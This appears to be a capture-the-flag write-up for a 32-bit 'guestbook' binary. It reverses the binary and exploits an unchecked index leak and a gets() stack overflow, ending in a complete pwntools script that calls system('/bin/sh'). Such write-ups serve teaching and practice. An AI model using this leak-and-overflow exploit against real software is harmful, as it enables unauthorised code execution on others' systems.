Challenge: guestbook
(PS: libc was provided for this challenge)
Reversing
Let’s start with basic analysis of given binary
$ file ./guestbook
guestbook: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bc73592d4897267cd1097b0541dc571d051a7ca0, not stripped
$ checksec ./guestbook
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
So we have PIE and NX enabled, which in most scenarios require combination of information leak and ROP (Return Oriented Programming). I quickly fire up IDA for further analysis.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+0h] [bp-98h]@16
int v5; // [sp+64h] [bp-34h]@11
int v6; // [sp+68h] [bp-30h]@7
char *dest[4]; // [sp+6Ch] [bp-2Ch]@2
char v8; // [sp+7Fh] [bp-19h]@5
int (**v9)(const char *); // [sp+80h] [bp-18h]@4
char **v10; // [sp+84h] [bp-14h]@4
char *v11; // [sp+88h] [bp-10h]@2
char v12; // [sp+8Fh] [bp-9h]@4
int i; // [sp+90h] [bp-8h]@1
setvbuf(stdout, 0, 2, 0x14u);
puts("Please setup your guest book:");
for ( i = 0; i <= 3; ++i )
{
printf("Name for guest: #%d\n>>>", i);
v11 = (char *)malloc(0xFu);
__isoc99_scanf("%15s", v11);
v11[14] = 0;
dest[i] = v11;
}
v10 = dest;
v9 = &system;
v12 = 1;
while ( v12 )
{
do
v8 = getchar();
while ( v8 != 10 && v8 != -1 );
puts("---------------------------");
puts("1: View name");
puts("2: Change name");
puts("3. Quit");
printf(">>");
v6 = 0;
__isoc99_scanf("%d", &v6);
switch ( v6 )
{
case 2:
printf("Which entry do you want to change?\n>>>");
v5 = -1;
__isoc99_scanf("%d", &v5);
if ( v5 >= 0 )
{
printf("Enter the name of the new guest.\n>>>");
do
v8 = getchar();
while ( v8 != 10 && v8 != -1 );
gets(&s);
strcpy(dest[v5], &s);
}
else
{
puts("Enter a valid number");
}
break;
case 3:
v12 = 0;
break;
case 1:
readName((int)dest);
break;
default:
puts("Not a valid option. Try again");
break;
}
}
return 0;
}
int __cdecl readName(int a1)
{
int result; // eax@2
int v2; // [sp+0h] [bp-8h]@1
printf("Which entry do you want to view?\n>>>");
v2 = -1;
__isoc99_scanf("%d", &v2);
if ( v2 >= 0 )
result = puts(*(const char **)(4 * v2 + a1));
else
result = puts("Enter a valid number");
return result;
}
Above is the decompiled pseudo code generated by IDA hex-rays plug-in. Here as the code suggests, binary takes input for four guests and assigns each a numerical entry (eg #1). After this binary gives out a menu with three options, we can either choose to view name in a guest entry or change name in a guest entry or simply select quit
option which return the main
. There is a interesting block of code that is spotted instantly, Change name
section uses gets
function to take input on the stack which can allow us to overwrite return address. But where to return to? Meaning we still have to bypass PIE by getting an info leak. To get that, there is a user-defined function readName
in View name
section. This function takes array of string dest
which is a stack variable for main
function, as argument and asks user for the entry of dest
to be printed on console. Now here lies the second vulnerability. Entry integer value doesn’t have a max value check in place. So we can use this to leak stuff on the stack. Now lets see if there is anything interesting on stack.
Exploitation
gdb-peda$ stack 500
...
0112| 0xffffd22c --> 0x56558008 --> 0x41 ('A')
0116| 0xffffd230 --> 0x56558428 --> 0x42 ('B')
0120| 0xffffd234 --> 0x56558440 --> 0x43 ('C')
0124| 0xffffd238 --> 0x56558458 --> 0x44 ('D')
0128| 0xffffd23c --> 0xa5559f1
0132| 0xffffd240 --> 0xf7e2cfa0 (<system>: sub esp,0xc)
0136| 0xffffd244 --> 0xffffd22c --> 0x56558008 --> 0x41 ('A')
0140| 0xffffd248 --> 0x56558458 --> 0x44 ('D')
0144| 0xffffd24c --> 0x1000000
0148| 0xffffd250 --> 0x4
0152| 0xffffd254 --> 0x0
0156| 0xffffd258 --> 0x0
0160| 0xffffd25c --> 0xf7e09456 (<__libc_start_main+246>: add esp,0x10)
...
Above is the stack view taken from gdb-peda
. [0x56558008, 0x56558428, 0x56558440, 0x56558458] is what dest
looks like. Buf if we request for 6 index in dest
, 0xffffd22c address will be printed as a string which will in turn leak out heap address 0x56558008
and system address 0xf7e2cfa0
. After getting this leak we can craft our payload for stack based buffer overflow in Change name
section.
Final buffer overflow payload will be (custom values are added in between eip offset buffer due to strcpy
call just after the gets
call)
'/bin/sh\x00' + "A"*92 + p32(0) + p32(0) + p32(heap_addr)*4 + "B"*32 + p32(system_addr) + "JUNK" + p32(heap_addr) + "\n"
Here heap_addr
*4 has been added to overwrite dest
variable’s array elements. With this in the next strcpy
call, /bin/sh
gets written on the heap_addr
providing us argument for system
ROP chain.
Below is the final exploit script
from pwn import *
def ch_name(index, name):
r.recvuntil(">>")
r.sendline("2")
r.recvuntil(">>>")
r.sendline(str(index))
#r.interactive()
r.recvuntil(">>>")
r.sendline(name)
def vw_name(index):
r.recvuntil(">>")
r.sendline("1")
r.recvuntil(">>>")
r.sendline(str(index))
r = process("./guestbook")
# providing guest names
for i in range(4):
r.recvuntil(">>>")
r.sendline(chr(0x41 + i)*4)
# leak stack address
vw_name(6)
leak = r.recv(24)
heap_addr = u32(leak[0:4])
log.info("heap address: 0x{:x}".format(heap_addr))
system_addr = u32(leak[20:24])
log.info("system address: 0x{:x}".format(system_addr))
# overwriting return address
ch_name(0, '/bin/sh\x00' + "A"*92 + p32(0) + p32(0) + p32(heap_addr)*4 + "B"*32 + p32(system_addr) + "JUNK" + p32(heap_addr) + "\n")
#gdb.attach(r)
# triggering shell
r.sendline("3")
r.recvuntil(">>")
r.interactive()
Exploit script link